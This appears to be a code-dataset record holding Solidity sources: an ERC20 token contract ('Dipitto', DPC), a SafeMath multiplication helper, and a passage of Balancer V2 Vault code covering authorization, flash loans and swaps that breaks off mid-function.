* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Dpc is StandardToken, Ownable {
string public name = "Dipitto";
string public symbol = "DPC";
uint public decimals = 8;
uint public INITIAL_SUPPLY = 51000000 * (10 ** decimals);
function Dpc() public {
totalSupply_ = INITIAL_SUPPLY;
owner = msg.sender;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
|
Multiplies two numbers, throws on overflow./
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
| 425,483
|
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./interfaces/IAuthorizer.sol";
import "./interfaces/IWETH.sol";
import "./VaultAuthorization.sol";
import "./FlashLoans.sol";
import "./Swaps.sol";
/**
* @dev The `Vault` is Balancer V2's core contract. A single instance of it exists for the entire network, and it is the
* entity used to interact with Pools by Liquidity Providers who join and exit them, Traders who swap, and Asset
* Managers who withdraw and deposit tokens.
*
* The `Vault`'s source code is split among a number of sub-contracts, with the goal of improving readability and making
* understanding the system easier. Most sub-contracts have been marked as `abstract` to explicitly indicate that only
* the full `Vault` is meant to be deployed.
*
* Roughly speaking, these are the contents of each sub-contract:
*
* - `AssetManagers`: Pool token Asset Manager registry, and Asset Manager interactions.
* - `Fees`: set and compute protocol fees.
* - `FlashLoans`: flash loan transfers and fees.
* - `PoolBalances`: Pool joins and exits.
* - `PoolRegistry`: Pool registration, ID management, and basic queries.
* - `PoolTokens`: Pool token registration and registration, and balance queries.
* - `Swaps`: Pool swaps.
* - `UserBalance`: manage user balances (Internal Balance operations and external balance transfers)
* - `VaultAuthorization`: access control, relayers and signature validation.
*
* Additionally, the different Pool specializations are handled by the `GeneralPoolsBalance`,
* `MinimalSwapInfoPoolsBalance` and `TwoTokenPoolsBalance` sub-contracts, which in turn make use of the
* `BalanceAllocation` library.
*
* The most important goal of the `Vault` is to make token swaps use as little gas as possible. This is reflected in a
* multitude of design decisions, from minor things like the format used to store Pool IDs, to major features such as
* the different Pool specialization settings.
*
* Finally, the large number of tasks carried out by the Vault means its bytecode is very large, close to exceeding
* the contract size limit imposed by EIP 170 (https://eips.ethereum.org/EIPS/eip-170). Manual tuning of the source code
* was required to improve code generation and bring the bytecode size below this limit. This includes extensive
* utilization of `internal` functions (particularly inside modifiers), usage of named return arguments, dedicated
* storage access methods, dynamic revert reason generation, and usage of inline assembly, to name a few.
*/
contract Vault is VaultAuthorization, FlashLoans, Swaps {
constructor(
IAuthorizer authorizer,
IWETH weth,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration
) VaultAuthorization(authorizer) AssetHelpers(weth) TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration) {
// solhint-disable-previous-line no-empty-blocks
}
function setPaused(bool paused) external override nonReentrant authenticate {
_setPaused(paused);
}
// solhint-disable-next-line func-name-mixedcase
function WETH() external view override returns (IWETH) {
return _WETH();
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthorizer {
/**
* @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`.
*/
function canPerform(
bytes32 actionId,
address account,
address where
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../../lib/openzeppelin/IERC20.sol";
/**
* @dev Interface for the WETH token contract used internally for wrapping and unwrapping, to support
* sending and receiving ETH in joins, swaps, and internal balance deposits and withdrawals.
*/
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/helpers/BalancerErrors.sol";
import "../lib/helpers/Authentication.sol";
import "../lib/helpers/TemporarilyPausable.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/helpers/SignaturesValidator.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "./interfaces/IVault.sol";
import "./interfaces/IAuthorizer.sol";
/**
* @dev Manages access control of Vault permissioned functions by relying on the Authorizer and signature validation.
*
* Additionally handles relayer access and approval.
*/
abstract contract VaultAuthorization is
IVault,
ReentrancyGuard,
Authentication,
SignaturesValidator,
TemporarilyPausable
{
// Ideally, we'd store the type hashes as immutable state variables to avoid computing the hash at runtime, but
// unfortunately immutable variables cannot be used in assembly, so we just keep the precomputed hashes instead.
// _JOIN_TYPE_HASH = keccak256("JoinPool(bytes calldata,address sender,uint256 nonce,uint256 deadline)");
bytes32 private constant _JOIN_TYPE_HASH = 0x3f7b71252bd19113ff48c19c6e004a9bcfcca320a0d74d58e85877cbd7dcae58;
// _EXIT_TYPE_HASH = keccak256("ExitPool(bytes calldata,address sender,uint256 nonce,uint256 deadline)");
bytes32 private constant _EXIT_TYPE_HASH = 0x8bbc57f66ea936902f50a71ce12b92c43f3c5340bb40c27c4e90ab84eeae3353;
// _SWAP_TYPE_HASH = keccak256("Swap(bytes calldata,address sender,uint256 nonce,uint256 deadline)");
bytes32 private constant _SWAP_TYPE_HASH = 0xe192dcbc143b1e244ad73b813fd3c097b832ad260a157340b4e5e5beda067abe;
// _BATCH_SWAP_TYPE_HASH = keccak256("BatchSwap(bytes calldata,address sender,uint256 nonce,uint256 deadline)");
bytes32 private constant _BATCH_SWAP_TYPE_HASH = 0x9bfc43a4d98313c6766986ffd7c916c7481566d9f224c6819af0a53388aced3a;
// _SET_RELAYER_TYPE_HASH =
// keccak256("SetRelayerApproval(bytes calldata,address sender,uint256 nonce,uint256 deadline)");
bytes32
private constant _SET_RELAYER_TYPE_HASH = 0xa3f865aa351e51cfeb40f5178d1564bb629fe9030b83caf6361d1baaf5b90b5a;
IAuthorizer private _authorizer;
mapping(address => mapping(address => bool)) private _approvedRelayers;
/**
* @dev Reverts unless `user` is the caller, or the caller is approved by the Authorizer to call this function (that
* is, it is a relayer for that function), and either:
* a) `user` approved the caller as a relayer (via `setRelayerApproval`), or
* b) a valid signature from them was appended to the calldata.
*
* Should only be applied to external functions.
*/
modifier authenticateFor(address user) {
_authenticateFor(user);
_;
}
constructor(IAuthorizer authorizer)
// The Vault is a singleton, so it simply uses its own address to disambiguate action identifiers.
Authentication(bytes32(uint256(address(this))))
SignaturesValidator("Balancer V2 Vault")
{
_setAuthorizer(authorizer);
}
function setAuthorizer(IAuthorizer newAuthorizer) external override nonReentrant authenticate {
_setAuthorizer(newAuthorizer);
}
function _setAuthorizer(IAuthorizer newAuthorizer) private {
emit AuthorizerChanged(newAuthorizer);
_authorizer = newAuthorizer;
}
function getAuthorizer() external view override returns (IAuthorizer) {
return _authorizer;
}
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external override nonReentrant whenNotPaused authenticateFor(sender) {
_approvedRelayers[sender][relayer] = approved;
emit RelayerApprovalChanged(relayer, sender, approved);
}
function hasApprovedRelayer(address user, address relayer) external view override returns (bool) {
return _hasApprovedRelayer(user, relayer);
}
/**
* @dev Reverts unless `user` is the caller, or the caller is approved by the Authorizer to call the entry point
* function (that is, it is a relayer for that function) and either:
* a) `user` approved the caller as a relayer (via `setRelayerApproval`), or
* b) a valid signature from them was appended to the calldata.
*/
function _authenticateFor(address user) internal {
if (msg.sender != user) {
// In this context, 'permission to call a function' means 'being a relayer for a function'.
_authenticateCaller();
// Being a relayer is not sufficient: `user` must have also approved the caller either via
// `setRelayerApproval`, or by providing a signature appended to the calldata.
if (!_hasApprovedRelayer(user, msg.sender)) {
_validateSignature(user, Errors.USER_DOESNT_ALLOW_RELAYER);
}
}
}
/**
* @dev Returns true if `user` approved `relayer` to act as a relayer for them.
*/
function _hasApprovedRelayer(address user, address relayer) internal view returns (bool) {
return _approvedRelayers[user][relayer];
}
function _canPerform(bytes32 actionId, address user) internal view override returns (bool) {
// Access control is delegated to the Authorizer.
return _authorizer.canPerform(actionId, user, address(this));
}
function _typeHash() internal pure override returns (bytes32 hash) {
// This is a simple switch-case statement, trivially written in Solidity by chaining else-if statements, but the
// assembly implementation results in much denser bytecode.
// solhint-disable-next-line no-inline-assembly
assembly {
// The function selector is located at the first 4 bytes of calldata. We copy the first full calldata
// 256 word, and then perform a logical shift to the right, moving the selector to the least significant
// 4 bytes.
let selector := shr(224, calldataload(0))
// With the selector in the least significant 4 bytes, we can use 4 byte literals with leading zeros,
// resulting in dense bytecode (PUSH4 opcodes).
switch selector
case 0xb95cac28 {
hash := _JOIN_TYPE_HASH
}
case 0x8bdb3913 {
hash := _EXIT_TYPE_HASH
}
case 0x52bbbe29 {
hash := _SWAP_TYPE_HASH
}
case 0x945bcec9 {
hash := _BATCH_SWAP_TYPE_HASH
}
case 0xfa6e671d {
hash := _SET_RELAYER_TYPE_HASH
}
default {
hash := 0x0000000000000000000000000000000000000000000000000000000000000000
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// This flash loan provider was based on the Aave protocol's open source
// implementation and terminology and interfaces are intentionally kept
// similar
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/helpers/BalancerErrors.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./Fees.sol";
import "./interfaces/IFlashLoanRecipient.sol";
/**
* @dev Handles Flash Loans through the Vault. Calls the `receiveFlashLoan` hook on the flash loan recipient
* contract, which implements the `IFlashLoanRecipient` interface.
*/
abstract contract FlashLoans is Fees, ReentrancyGuard, TemporarilyPausable {
using SafeERC20 for IERC20;
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external override nonReentrant whenNotPaused {
InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length);
uint256[] memory feeAmounts = new uint256[](tokens.length);
uint256[] memory preLoanBalances = new uint256[](tokens.length);
// Used to ensure `tokens` is sorted in ascending order, which ensures token uniqueness.
IERC20 previousToken = IERC20(0);
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
uint256 amount = amounts[i];
_require(token > previousToken, token == IERC20(0) ? Errors.ZERO_TOKEN : Errors.UNSORTED_TOKENS);
previousToken = token;
preLoanBalances[i] = token.balanceOf(address(this));
feeAmounts[i] = _calculateFlashLoanFeeAmount(amount);
_require(preLoanBalances[i] >= amount, Errors.INSUFFICIENT_FLASH_LOAN_BALANCE);
token.safeTransfer(address(recipient), amount);
}
recipient.receiveFlashLoan(tokens, amounts, feeAmounts, userData);
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
uint256 preLoanBalance = preLoanBalances[i];
// Checking for loan repayment first (without accounting for fees) makes for simpler debugging, and results
// in more accurate revert reasons if the flash loan protocol fee percentage is zero.
uint256 postLoanBalance = token.balanceOf(address(this));
_require(postLoanBalance >= preLoanBalance, Errors.INVALID_POST_LOAN_BALANCE);
// No need for checked arithmetic since we know the loan was fully repaid.
uint256 receivedFeeAmount = postLoanBalance - preLoanBalance;
_require(receivedFeeAmount >= feeAmounts[i], Errors.INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT);
_payFeeAmount(token, receivedFeeAmount);
emit FlashLoan(recipient, token, amounts[i], receivedFeeAmount);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/Math.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/openzeppelin/EnumerableMap.sol";
import "../lib/openzeppelin/EnumerableSet.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeCast.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./PoolBalances.sol";
import "./interfaces/IPoolSwapStructs.sol";
import "./interfaces/IGeneralPool.sol";
import "./interfaces/IMinimalSwapInfoPool.sol";
import "./balances/BalanceAllocation.sol";
/**
* Implements the Vault's high-level swap functionality.
*
* Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. They need not trust the Pool
* contracts to do this: all security checks are made by the Vault.
*
* The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
* In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
* and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
* More complex swaps, such as one 'token in' to multiple tokens out can be achieved by batching together
* individual swaps.
*/
abstract contract Swaps is ReentrancyGuard, PoolBalances {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableMap for EnumerableMap.IERC20ToBytes32Map;
using Math for int256;
using Math for uint256;
using SafeCast for uint256;
using BalanceAllocation for bytes32;
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
)
external
payable
override
nonReentrant
whenNotPaused
authenticateFor(funds.sender)
returns (uint256 amountCalculated)
{
// The deadline is timestamp-based: it should not be relied upon for sub-minute accuracy.
// solhint-disable-next-line not-rely-on-time
_require(block.timestamp <= deadline, Errors.SWAP_DEADLINE);
// This revert reason is for consistency with `batchSwap`: an equivalent `swap` performed using that function
// would result in this error.
_require(singleSwap.amount > 0, Errors.UNKNOWN_AMOUNT_IN_FIRST_SWAP);
IERC20 tokenIn = _translateToIERC20(singleSwap.assetIn);
IERC20 tokenOut = _translateToIERC20(singleSwap.assetOut);
_require(tokenIn != tokenOut, Errors.CANNOT_SWAP_SAME_TOKEN);
// Initializing each struct field one-by-one uses less gas than setting all at once.
IPoolSwapStructs.SwapRequest memory poolRequest;
poolRequest.poolId = singleSwap.poolId;
poolRequest.kind = singleSwap.kind;
poolRequest.tokenIn = tokenIn;
poolRequest.tokenOut = tokenOut;
poolRequest.amount = singleSwap.amount;
poolRequest.userData = singleSwap.userData;
poolRequest.from = funds.sender;
poolRequest.to = funds.recipient;
// The lastChangeBlock field is left uninitialized.
uint256 amountIn;
uint256 amountOut;
(amountCalculated, amountIn, amountOut) = _swapWithPool(poolRequest);
_require(singleSwap.kind == SwapKind.GIVEN_IN ? amountOut >= limit : amountIn <= limit, Errors.SWAP_LIMIT);
_receiveAsset(singleSwap.assetIn, amountIn, funds.sender, funds.fromInternalBalance);
_sendAsset(singleSwap.assetOut, amountOut, funds.recipient, funds.toInternalBalance);
// If the asset in is ETH, then `amountIn` ETH was wrapped into WETH.
_handleRemainingEth(_isETH(singleSwap.assetIn) ? amountIn : 0);
}
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
)
external
payable
override
nonReentrant
whenNotPaused
authenticateFor(funds.sender)
returns (int256[] memory assetDeltas)
{
// The deadline is timestamp-based: it should not be relied upon for sub-minute accuracy.
// solhint-disable-next-line not-rely-on-time
_require(block.timestamp <= deadline, Errors.SWAP_DEADLINE);
InputHelpers.ensureInputLengthMatch(assets.length, limits.length);
// Perform the swaps, updating the Pool token balances and computing the net Vault asset deltas.
assetDeltas = _swapWithPools(swaps, assets, funds, kind);
// Process asset deltas, by either transferring assets from the sender (for positive deltas) or to the recipient
// (for negative deltas).
uint256 wrappedEth = 0;
for (uint256 i = 0; i < assets.length; ++i) {
IAsset asset = assets[i];
int256 delta = assetDeltas[i];
_require(delta <= limits[i], Errors.SWAP_LIMIT);
if (delta > 0) {
uint256 toReceive = uint256(delta);
_receiveAsset(asset, toReceive, funds.sender, funds.fromInternalBalance);
if (_isETH(asset)) {
wrappedEth = wrappedEth.add(toReceive);
}
} else if (delta < 0) {
uint256 toSend = uint256(-delta);
_sendAsset(asset, toSend, funds.recipient, funds.toInternalBalance);
}
}
// Handle any used and remaining ETH.
_handleRemainingEth(wrappedEth);
}
// For `_swapWithPools` to handle both 'given in' and 'given out' swaps, it internally tracks the 'given' amount
// (supplied by the caller), and the 'calculated' amount (returned by the Pool in response to the swap request).
/**
* @dev Given the two swap tokens and the swap kind, returns which one is the 'given' token (the token whose
* amount is supplied by the caller).
*/
function _tokenGiven(
SwapKind kind,
IERC20 tokenIn,
IERC20 tokenOut
) private pure returns (IERC20) {
return kind == SwapKind.GIVEN_IN ? tokenIn : tokenOut;
}
/**
* @dev Given the two swap tokens and the swap kind, returns which one is the 'calculated' token (the token whose
* amount is calculated by the Pool).
*/
function _tokenCalculated(
SwapKind kind,
IERC20 tokenIn,
IERC20 tokenOut
) private pure returns (IERC20) {
return kind == SwapKind.GIVEN_IN ? tokenOut : tokenIn;
}
/**
* @dev Returns an ordered pair (amountIn, amountOut) given the 'given' and 'calculated' amounts, and the swap kind.
*/
function _getAmounts(
SwapKind kind,
uint256 amountGiven,
uint256 amountCalculated
) private pure returns (uint256 amountIn, uint256 amountOut) {
if (kind == SwapKind.GIVEN_IN) {
(amountIn, amountOut) = (amountGiven, amountCalculated);
} else {
// SwapKind.GIVEN_OUT
(amountIn, amountOut) = (amountCalculated, amountGiven);
}
}
/**
* @dev Performs all `swaps`, calling swap hooks on the Pool contracts and updating their balances. Does not cause
* any transfer of tokens - instead it returns the net Vault token deltas: positive if the Vault should receive
* tokens, and negative if it should send them.
*/
function _swapWithPools(
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
SwapKind kind
) private returns (int256[] memory assetDeltas) {
assetDeltas = new int256[](assets.length);
// These variables could be declared inside the loop, but that causes the compiler to allocate memory on each
// loop iteration, increasing gas costs.
BatchSwapStep memory batchSwapStep;
IPoolSwapStructs.SwapRequest memory poolRequest;
// These store data about the previous swap here to implement multihop logic across swaps.
IERC20 previousTokenCalculated;
uint256 previousAmountCalculated;
for (uint256 i = 0; i < swaps.length; ++i) {
batchSwapStep = swaps[i];
bool withinBounds = batchSwapStep.assetInIndex < assets.length &&
batchSwapStep.assetOutIndex < assets.length;
_require(withinBounds, Errors.OUT_OF_BOUNDS);
IERC20 tokenIn = _translateToIERC20(assets[batchSwapStep.assetInIndex]);
IERC20 tokenOut = _translateToIERC20(assets[batchSwapStep.assetOutIndex]);
_require(tokenIn != tokenOut, Errors.CANNOT_SWAP_SAME_TOKEN);
// Sentinel value for multihop logic
if (batchSwapStep.amount == 0) {
// When the amount given is zero, we use the calculated amount for the previous swap, as long as the
// current swap's given token is the previous calculated token. This makes it possible to swap a
// given amount of token A for token B, and then use the resulting token B amount to swap for token C.
_require(i > 0, Errors.UNKNOWN_AMOUNT_IN_FIRST_SWAP);
bool usingPreviousToken = previousTokenCalculated == _tokenGiven(kind, tokenIn, tokenOut);
_require(usingPreviousToken, Errors.MALCONSTRUCTED_MULTIHOP_SWAP);
batchSwapStep.amount = previousAmountCalculated;
}
// Initializing each struct field one-by-one uses less gas than setting all at once
poolRequest.poolId = batchSwapStep.poolId;
poolRequest.kind = kind;
poolRequest.tokenIn = tokenIn;
poolRequest.tokenOut = tokenOut;
poolRequest.amount = batchSwapStep.amount;
poolRequest.userData = batchSwapStep.userData;
poolRequest.from = funds.sender;
poolRequest.to = funds.recipient;
// The lastChangeBlock field is left uninitialized
uint256 amountIn;
uint256 amountOut;
(previousAmountCalculated, amountIn, amountOut) = _swapWithPool(poolRequest);
previousTokenCalculated = _tokenCalculated(kind, tokenIn, tokenOut);
// Accumulate Vault deltas across swaps
assetDeltas[batchSwapStep.assetInIndex] = assetDeltas[batchSwapStep.assetInIndex].add(amountIn.toInt256());
assetDeltas[batchSwapStep.assetOutIndex] = assetDeltas[batchSwapStep.assetOutIndex].sub(
amountOut.toInt256()
);
}
}
/**
* @dev Performs a swap according to the parameters specified in `request`, calling the Pool's contract hook and
* updating the Pool's balance.
*
* Returns the amount of tokens going into or out of the Vault as a result of this swap, depending on the swap kind.
*/
function _swapWithPool(IPoolSwapStructs.SwapRequest memory request)
private
returns (
uint256 amountCalculated,
uint256 amountIn,
uint256 amountOut
)
{
// Get the calculated amount from the Pool and update its balances
address pool = _getPoolAddress(request.poolId);
PoolSpecialization specialization = _getPoolSpecialization(request.poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
amountCalculated = _processTwoTokenPoolSwapRequest(request, IMinimalSwapInfoPool(pool));
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
amountCalculated = _processMinimalSwapInfoPoolSwapRequest(request, IMinimalSwapInfoPool(pool));
} else {
// PoolSpecialization.GENERAL
amountCalculated = _processGeneralPoolSwapRequest(request, IGeneralPool(pool));
}
(amountIn, amountOut) = _getAmounts(request.kind, request.amount, amountCalculated);
emit Swap(request.poolId, request.tokenIn, request.tokenOut, amountIn, amountOut);
}
function _processTwoTokenPoolSwapRequest(IPoolSwapStructs.SwapRequest memory request, IMinimalSwapInfoPool pool)
private
returns (uint256 amountCalculated)
{
// For gas efficiency reasons, this function uses low-level knowledge of how Two Token Pool balances are
// stored internally, instead of using getters and setters for all operations.
(
bytes32 tokenABalance,
bytes32 tokenBBalance,
TwoTokenPoolBalances storage poolBalances
) = _getTwoTokenPoolSharedBalances(request.poolId, request.tokenIn, request.tokenOut);
// We have the two Pool balances, but we don't know which one is 'token in' or 'token out'.
bytes32 tokenInBalance;
bytes32 tokenOutBalance;
// In Two Token Pools, token A has a smaller address than token B
if (request.tokenIn < request.tokenOut) {
// in is A, out is B
tokenInBalance = tokenABalance;
tokenOutBalance = tokenBBalance;
} else {
// in is B, out is A
tokenOutBalance = tokenABalance;
tokenInBalance = tokenBBalance;
}
// Perform the swap request and compute the new balances for 'token in' and 'token out' after the swap
(tokenInBalance, tokenOutBalance, amountCalculated) = _callMinimalSwapInfoPoolOnSwapHook(
request,
pool,
tokenInBalance,
tokenOutBalance
);
// We check the token ordering again to create the new shared cash packed struct
poolBalances.sharedCash = request.tokenIn < request.tokenOut
? BalanceAllocation.toSharedCash(tokenInBalance, tokenOutBalance) // in is A, out is B
: BalanceAllocation.toSharedCash(tokenOutBalance, tokenInBalance); // in is B, out is A
}
function _processMinimalSwapInfoPoolSwapRequest(
IPoolSwapStructs.SwapRequest memory request,
IMinimalSwapInfoPool pool
) private returns (uint256 amountCalculated) {
bytes32 tokenInBalance = _getMinimalSwapInfoPoolBalance(request.poolId, request.tokenIn);
bytes32 tokenOutBalance = _getMinimalSwapInfoPoolBalance(request.poolId, request.tokenOut);
// Perform the swap request and compute the new balances for 'token in' and 'token out' after the swap
(tokenInBalance, tokenOutBalance, amountCalculated) = _callMinimalSwapInfoPoolOnSwapHook(
request,
pool,
tokenInBalance,
tokenOutBalance
);
_minimalSwapInfoPoolsBalances[request.poolId][request.tokenIn] = tokenInBalance;
_minimalSwapInfoPoolsBalances[request.poolId][request.tokenOut] = tokenOutBalance;
}
/**
* @dev Calls the onSwap hook for a Pool that implements IMinimalSwapInfoPool: both Minimal Swap Info and Two Token
* Pools do this.
*/
function _callMinimalSwapInfoPoolOnSwapHook(
IPoolSwapStructs.SwapRequest memory request,
IMinimalSwapInfoPool pool,
bytes32 tokenInBalance,
bytes32 tokenOutBalance
)
internal
returns (
bytes32 newTokenInBalance,
bytes32 newTokenOutBalance,
uint256 amountCalculated
)
{
uint256 tokenInTotal = tokenInBalance.total();
uint256 tokenOutTotal = tokenOutBalance.total();
request.lastChangeBlock = Math.max(tokenInBalance.lastChangeBlock(), tokenOutBalance.lastChangeBlock());
// Perform the swap request callback, and compute the new balances for 'token in' and 'token out' after the swap
amountCalculated = pool.onSwap(request, tokenInTotal, tokenOutTotal);
(uint256 amountIn, uint256 amountOut) = _getAmounts(request.kind, request.amount, amountCalculated);
newTokenInBalance = tokenInBalance.increaseCash(amountIn);
newTokenOutBalance = tokenOutBalance.decreaseCash(amountOut);
}
function _processGeneralPoolSwapRequest(IPoolSwapStructs.SwapRequest memory request, IGeneralPool pool)
private
returns (uint256 amountCalculated)
{
bytes32 tokenInBalance;
bytes32 tokenOutBalance;
// We access both token indexes without checking existence, because we will do it manually immediately after.
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[request.poolId];
uint256 indexIn = poolBalances.unchecked_indexOf(request.tokenIn);
uint256 indexOut = poolBalances.unchecked_indexOf(request.tokenOut);
if (indexIn == 0 || indexOut == 0) {
// The tokens might not be registered because the Pool itself is not registered. We check this to provide a
// more accurate revert reason.
_ensureRegisteredPool(request.poolId);
_revert(Errors.TOKEN_NOT_REGISTERED);
}
// EnumerableMap stores indices *plus one* to use the zero index as a sentinel value - because these are valid,
// we can undo this.
indexIn -= 1;
indexOut -= 1;
uint256 tokenAmount = poolBalances.length();
uint256[] memory currentBalances = new uint256[](tokenAmount);
request.lastChangeBlock = 0;
for (uint256 i = 0; i < tokenAmount; i++) {
// Because the iteration is bounded by `tokenAmount`, and no tokens are registered or deregistered here, we
// know `i` is a valid token index and can use `unchecked_valueAt` to save storage reads.
bytes32 balance = poolBalances.unchecked_valueAt(i);
currentBalances[i] = balance.total();
